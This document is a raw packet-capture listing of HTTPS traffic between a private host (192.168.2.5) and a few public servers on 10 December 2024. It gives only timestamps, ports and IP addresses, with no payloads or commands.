Dec 10, 2024 00:06:35.847100019 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.892230988 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.926937103 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.926987886 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.927021980 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.927051067 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.927097082 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.927131891 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.927131891 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.927165985 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.927247047 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.935162067 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.943648100 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.943712950 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.943721056 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.944238901 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.990557909 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.990581989 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.011667967 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011674881 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011704922 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011718035 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011725903 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.011738062 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011748075 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.011765957 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.011804104 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.036469936 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.046232939 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.089711905 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.089746952 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.121196985 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.121253014 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.121275902 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.125883102 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.125891924 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.125925064 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.125952959 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.125957012 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.125971079 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.125983000 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.126015902 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.129507065 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.129550934 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.129558086 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.136042118 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.136089087 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.136095047 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.152482033 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.152529955 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.152538061 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.160686970 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.160733938 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.160739899 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.168893099 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.168998957 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.169003963 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.172307968 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.172326088 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.172365904 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.172374964 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.172416925 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.172435045 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.177133083 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.177180052 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.177186012 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.185457945 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.185512066 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.185517073 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.192522049 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.192589045 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.192595005 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.199510098 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.199559927 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.199565887 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.206435919 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.206497908 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.206504107 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.237891912 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.237963915 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.237972021 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.286384106 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.295753956 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.295787096 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.295826912 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.295847893 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.295860052 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.295892954 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.312153101 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.312285900 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.312608004 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.312745094 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:36.312758923 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:36.324125051 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.324141026 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.324192047 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.324203014 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.324229002 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.324248075 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.336107016 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.336178064 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:36.336189032 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.336224079 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.336438894 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:36.336457968 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:37.020499945 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.020729065 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.020760059 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.021749020 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.021811008 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.022326946 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.022383928 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.022488117 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.067332029 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.069622040 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.069639921 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.086848021 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.087050915 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.087073088 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.087958097 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.088031054 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.088344097 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.088397026 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.088469982 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.115113974 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.130853891 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.130861044 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.176244020 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.465784073 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.465893984 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.465924025 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.465948105 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.465977907 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.465986013 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.466002941 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.466015100 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.467196941 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.473989964 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.482484102 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.483230114 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.483239889 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.490847111 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.491050005 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.491061926 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.529659986 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.529956102 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.530033112 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.530041933 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.530142069 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.530965090 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.530971050 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.532288074 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.539239883 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.543382883 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.543389082 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.547884941 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.551326990 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.551331043 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.585026979 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.602390051 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.602400064 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.631257057 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.644762039 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.648823977 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.657762051 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.661719084 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.663193941 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.663203955 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.669466019 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.672183037 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.672189951 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.677288055 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.681180954 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.681185961 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.692756891 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.692811966 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.692821026 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.698446035 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.700545073 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.700628996 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.700690985 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.700696945 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.700736046 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.708277941 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.716139078 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.717190981 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.717197895 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.721461058 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.723973036 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.724035025 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.724040031 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.725439072 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.725503922 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.725512981 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.731782913 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.731847048 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.731853008 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.733552933 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.733642101 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.733648062 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.739552975 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.739615917 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.739622116 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.741524935 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.741591930 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.741597891 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.744820118 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.744832039 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.744908094 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.745083094 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.745090008 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.749732018 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.749806881 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.749813080 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.749984980 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.750036955 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.750113964 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.750125885 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.755633116 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.755665064 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.755728006 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.755901098 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:37.755913019 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:37.776990891 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.777041912 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.777081013 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.777093887 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.777122021 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:37.777137995 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.777173042 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.778706074 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:37.778724909 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:39.053982019 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.054236889 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.054260969 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.054557085 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.054910898 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.054974079 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.055047035 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.095340014 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.294066906 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.294337034 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.294344902 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.294629097 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.294939041 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.294996023 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.295057058 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.339329958 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496068954 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496098995 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496175051 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.496186018 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496267080 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496299028 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496313095 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.496319056 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.496367931 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.496541977 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.504415035 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.504477024 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.504481077 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.512887955 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.512943983 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.512948990 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.567895889 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.567902088 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.615232944 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.687890053 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.691771030 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.691833019 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.691839933 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.702896118 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.702958107 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.702964067 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.710362911 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.710418940 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.710422993 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.718122005 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.718170881 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.718175888 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.726008892 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.726074934 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.726079941 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.733788013 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.733834028 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.733839035 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.741872072 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.741930008 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.741935968 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.749322891 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.749382973 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.749388933 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.756279945 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.756429911 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.756481886 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.756985903 CET	49743	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.756995916 CET	443	49743	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.761290073 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:39.761352062 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:39.761447906 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:39.761647940 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:39.761668921 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:39.764779091 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.764827967 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.764832973 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.804805994 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.804817915 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.851558924 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.879789114 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.882145882 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.882200003 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.882205009 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.889655113 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.889703989 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.889708042 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.904582024 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.904629946 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.904634953 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.911709070 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.911758900 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.911763906 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.926079988 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.926086903 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.926143885 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.926148891 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.940155983 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.940212965 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.940217972 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.940257072 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.940263033 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.954401016 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.954454899 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.954462051 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.954515934 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.968671083 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.968677998 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.968727112 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:39.975887060 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.975893974 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.975943089 CET	49742	443	192.168.2.5	104.18.95.41
